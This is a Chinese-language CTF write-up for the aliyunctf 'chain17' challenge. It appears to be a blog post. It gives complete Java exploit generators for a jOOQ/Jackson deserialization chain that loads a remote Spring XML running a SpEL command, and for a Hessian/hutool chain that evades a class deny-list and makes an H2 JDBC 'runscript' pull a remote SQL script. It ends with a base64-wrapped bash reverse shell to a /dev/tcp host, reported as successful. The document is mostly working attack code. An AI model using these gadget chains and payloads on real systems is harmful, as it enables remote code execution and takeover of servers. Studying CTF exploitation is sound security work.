分析

这题给了一个客户端client和一个服务端server
server端就一个jooq依赖,一个read路由的反序列化点
client端有hessian,hutool,h2依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>hessian-lite</artifactId>
<version>3.2.13</version>
</dependency>

<dependency>
<groupId>cn.hutool</groupId>
<artifactId>hutool-all</artifactId>
<version>5.8.16</version>
</dependency>

<!-- https://mvnrepository.com/artifact/com.h2database/h2 -->
<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<version>2.2.224</version>
</dependency>

还有一个Bean类:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
package com.aliyunctf.agent.other;

import cn.hutool.core.io.resource.ResourceUtil;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;
import java.io.Serializable;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;

/* loaded from: Bean.class */
public class Bean implements Serializable {
byte[] data;

public void setData(byte[] data) {
this.data = data;
}

public Object getObject() throws Exception {
return new BeanInputStream(new ByteArrayInputStream(this.data)).readObject();
}

/* loaded from: Bean$BeanInputStream.class */
static class BeanInputStream extends ObjectInputStream {
static List<String> blackList;

static {
blackList = new ArrayList();
try {
blackList = new ArrayList(List.of("org.h2.", "com.fasterxml."));
blackList.addAll(Arrays.asList(ResourceUtil.readUtf8Str("blacklist.txt").split("[\\n\\r]+")).stream().filter(l -> {
return !l.startsWith("#");
}).map(l -> {
return l.strip();
}).toList());
} catch (Exception e) {
e.printStackTrace();
}
}

public BeanInputStream(InputStream s) throws IOException {
super(s);
}

@Override // java.io.ObjectInputStream
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
List<String> rules = blackList.stream().filter(l -> {
return desc.getName().startsWith(l);
}).toList();
if (rules.isEmpty()) {
return super.resolveClass(desc);
}
throw new RuntimeException("%s matches blacklist rules: %s".formatted(new Object[]{desc.getName(), String.join(",", rules)}));
}
}
}


里面的getObject可以二次反序列化,还有一个黑名单来匹配我们传入的数据
我们的目的是通过客户端h2 JDBC来SSRF打服务端/read路由执行命令

server

1
EventListenerList.readObject -> POJONode.toString -> ConvertedVal.getValue -> ClassPathXmlApplicationContext.<init>

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import cn.hutool.core.io.FileUtil;
import cn.hutool.core.util.ReflectUtil;
import cn.hutool.core.util.SerializeUtil;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.jooq.DataType;
import org.springframework.context.support.ClassPathXmlApplicationContext;

import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.io.File;
import java.lang.reflect.Constructor;
import java.util.Base64;
import java.util.Vector;

// JDK17 VM options:
// --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-opens java.desktop/javax.swing.undo=ALL-UNNAMED --add-opens java.desktop/javax.swing.event=ALL-UNNAMED
public class exp2 {

public static void main(String[] args) throws Exception {
gen("http://localhost:8000/poc.xml");
}

public static void gen(String url) throws Exception{
Class clazz1 = Class.forName("org.jooq.impl.Dual");
Constructor constructor1 = clazz1.getDeclaredConstructors()[0];
constructor1.setAccessible(true);
Object table = constructor1.newInstance();

Class clazz2 = Class.forName("org.jooq.impl.TableDataType");
Constructor constructor2 = clazz2.getDeclaredConstructors()[0];
constructor2.setAccessible(true);
Object tableDataType = constructor2.newInstance(table);

Class clazz3 = Class.forName("org.jooq.impl.Val");
Constructor constructor3 = clazz3.getDeclaredConstructor(Object.class, DataType.class, boolean.class);
constructor3.setAccessible(true);
Object val = constructor3.newInstance("whatever", tableDataType, false);

Class clazz4 = Class.forName("org.jooq.impl.ConvertedVal");
Constructor constructor4 = clazz4.getDeclaredConstructors()[0];
constructor4.setAccessible(true);
Object convertedVal = constructor4.newInstance(val, tableDataType);

Object value = url;
Class type = ClassPathXmlApplicationContext.class;

ReflectUtil.setFieldValue(val, "value", value);
ReflectUtil.setFieldValue(tableDataType, "uType", type);

ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath("C:\\Users\\30779\\Desktop\\共享\\chain17\\chain17\\agent\\agent\\BOOT-INF\\lib\\jackson-databind-2.15.3.jar");
CtClass ctClass = classPool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(ctMethod);
ctClass.toClass();

POJONode pojoNode = new POJONode(convertedVal);

EventListenerList eventListenerList = new EventListenerList();
UndoManager undoManager = new UndoManager();
Vector vector = (Vector) ReflectUtil.getFieldValue(undoManager, "edits");
vector.add(pojoNode);
ReflectUtil.setFieldValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});

byte[] data = SerializeUtil.serialize(eventListenerList);

System.out.println(Base64.getEncoder().encodeToString(data));
}

}

  • 这里的classPool.appendClassPath(…)是为了防止javassist的not found 报错
  • 运行配置需要加VM options: image.png
    poc.xml
    1
    2
    3
    4
    5
    6
    7
    8
    <?xml version="1.0" encoding="UTF-8"?>
    <beans xmlns="http://www.springframework.org/schema/beans"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="evil" class="java.lang.String">
    <constructor-arg value="#{T(Runtime).getRuntime().exec('calc')}"/>
    </bean>
    </beans>
    image.png

client

官方wp,链子是:

1
JSONObject.put -> AtomicReference.toString -> POJONode.toString -> Bean.getObject -> DSFactory.getDataSource -> Driver.connect

exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import cn.hutool.core.map.SafeConcurrentHashMap;
import cn.hutool.core.util.ReflectUtil;
import cn.hutool.core.util.SerializeUtil;
import cn.hutool.db.ds.pooled.PooledDSFactory;
import cn.hutool.json.JSONObject;
import cn.hutool.setting.Setting;
import com.alibaba.com.caucho.hessian.io.Hessian2Output;
import com.aliyunctf.agent.other.Bean;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import sun.misc.Unsafe;

import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.util.Base64;
import java.util.concurrent.atomic.AtomicReference;

// JDK17 VM options:
// --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED
public class exp1 {

public static void main(String[] args) throws Exception {
gen("runscript from 'http://10.23.124.115:8000/localhost.sql'");
}

public static void gen(String sql) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);

hessian2Output.writeMapBegin(JSONObject.class.getName());
hessian2Output.writeObject("whatever");

String url = String.format("jdbc:h2:mem:test;init=%s", sql);

Setting setting = new Setting();
setting.put("url", url);
setting.put("initialSize", "1");
setting.setCharset(null);

Unsafe unsafe = (Unsafe) ReflectUtil.getFieldValue(null, ReflectUtil.getField(Unsafe.class, "theUnsafe"));

PooledDSFactory pooledDSFactory = (PooledDSFactory) unsafe.allocateInstance(PooledDSFactory.class);

ReflectUtil.setFieldValue(pooledDSFactory, "dataSourceName", PooledDSFactory.DS_NAME);
ReflectUtil.setFieldValue(pooledDSFactory, "setting", setting);
ReflectUtil.setFieldValue(pooledDSFactory, "dsMap", new SafeConcurrentHashMap<>());

Bean bean = new Bean();
bean.setData(SerializeUtil.serialize(pooledDSFactory));

ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath("C:\\Users\\30779\\Desktop\\共享\\chain17\\chain17\\agent\\agent\\BOOT-INF\\lib\\jackson-databind-2.15.3.jar");
CtClass ctClass = classPool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(ctMethod);
ctClass.toClass();

POJONode pojoNode = new POJONode(bean);

Object object = new AtomicReference<>(pojoNode);

hessian2Output.writeObject(object);
hessian2Output.writeMapEnd();
hessian2Output.close();

byte[] data = byteArrayOutputStream.toByteArray();

System.out.println(Base64.getEncoder().encodeToString(data));
}
}

Hessian反序列化Map的时候会调用Map.put
image.png
image.png
去调用AtomicReference.toString
image.png
然后是POJONode.toString
image.png
一直走,走到 Bean.getObjectimage.png
调到DSFactory.getDataSource
image.png
命令改成反弹shell:

1
bash -c {echo,bash -i >& /dev/tcp/xx/xx 0>&1的base64编码}|{base64,-d}|{bash,-i}

成功反弹shell
image.png